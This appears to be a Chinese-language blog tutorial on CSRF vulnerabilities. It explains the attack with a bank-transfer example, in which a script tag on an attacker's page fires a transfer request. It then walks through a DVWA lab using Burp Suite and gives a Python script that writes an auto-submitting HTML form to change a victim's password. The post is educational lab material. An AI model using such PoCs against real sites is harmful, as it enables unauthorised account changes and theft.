淺談CSRF漏洞
阿新 • • 發佈:2018-04-21
博客 stat csrf漏洞 抓包 -s ... hack ets 技術 前言:
看完小迪老師的CSRF漏洞講解。感覺不行
就自己百度學習。這是總結出來的。
歌曲:
正文:
CSRF與xss和像,但是兩個是完全不一樣的東西。
xss攻擊(跨站腳本攻擊)儲存型的XSS由攻擊者和受害者一同完成。xss詳細介紹:點我跳轉
CSRF(跨站腳本偽造)完全由受害者完成。攻擊者不參與其中。CSRF詳細介紹:點我跳轉
CSRF原理:
銀行轉賬的數據包:http://jianse.com/zhuanzhang.php?name=lu&[email protected]&monet=1000
攻擊者的博客:http://www.hack.com/index,php
把這個加入到js裏面。<script src="http://jianse.com/zhuanzhang.php?name=lu&[email protected]&monet=1000"></script>將這條代碼計入到攻擊者的博客。如果受害者登錄了銀行。而Session又沒有過期,後而訪問了攻擊者的博客。當攻擊者的博客加載好了js代碼。受害者就會打了1000元給攻擊者。
實驗: 這裏我使用DVWA來做使CSRF漏洞實現。攻擊步驟如下: 首先登錄DVWA,來到CSRF這裏。 註:這裏我的防禦等級為low
啟動Burpsuite,設置代理。
回到剛剛的頁面,輸入要更改的密碼。burp開啟抓包
抓到的包
構造CSRF POC
更改所需要的
點擊Regenerate按鈕更新POC,點擊Test in browser復制鏈接
點擊Copy按鈕。復制到瀏覽器上使用
點擊按鈕實行csrf攻擊。
從圖中我們可以看到密碼已經更改,退回登錄界面。
點擊登錄
從圖中我們可以看到,CSRF攻擊已經成功實施。 既然如此我們為什麽不寫一個CSRF腳本呢? 代碼如下:
import time import simplejson as json def poc(): url="http://a2fae7a7.ngrok.io/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change" headers={‘User-Agent‘: ‘Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36‘} values=url.split(‘?‘)[-1] urltwo=url.split(‘?‘)[:-1] urltwos="".join(urltwo) dumps={} for line in values.split(‘&‘): key,value=line.split(‘=‘,1) dumps[key]=value discts=[i for i in dumps.keys()] print(‘原url:‘,url) print(‘url原帶的參數:‘,dumps) dumps[‘password_new‘] = ‘password‘ dumps[‘password_conf‘] = ‘password‘ valueswto=[g for g in dumps.values()] print(‘url更該後的參數‘,dumps) print(‘1.burpsuite的POC‘) user=input(‘請進行你的選擇:‘) if user == ‘1‘: print(‘burpsiuite的POC‘) burp=open(‘burp.html‘,‘w‘) burp.write(‘<html>\n‘) burp.write(‘<body>\n‘) burp.write(‘<script>history.pushState("‘‘","‘‘",‘"‘/‘"‘)</script>\n‘) burp.write(‘<form action="{}">\n‘.format(urltwos)) burp.write(‘<input type="hidden" name="{}" value="{}"/>\n‘.format(discts[0],valueswto[0])) burp.write(‘<input type="hidden" name="{}" value="{}"/>\n‘.format(discts[1],valueswto[1])) burp.write(‘<input type="hidden" name="{}" value="{}"/>\n‘.format(discts[2],valueswto[2])) burp.write(‘<input type="submit" value="Submit CSRF POC"/>\n‘) burp.write(‘</form>\n‘) burp.write(‘</body>\n‘) burp.write(‘</html>\n‘) burp.close() else: print(‘【-】抱歉你沒有進行選擇,退出ing...‘) time.sleep(1) exit() poc()
測試結果如下:
生成的html
打開burp.html
點擊按鈕
密碼更改成功。
有關CSRF的資料:《CSRF原理》
《深入CSRF解析》
《從0開始學CSRF》
淺談CSRF漏洞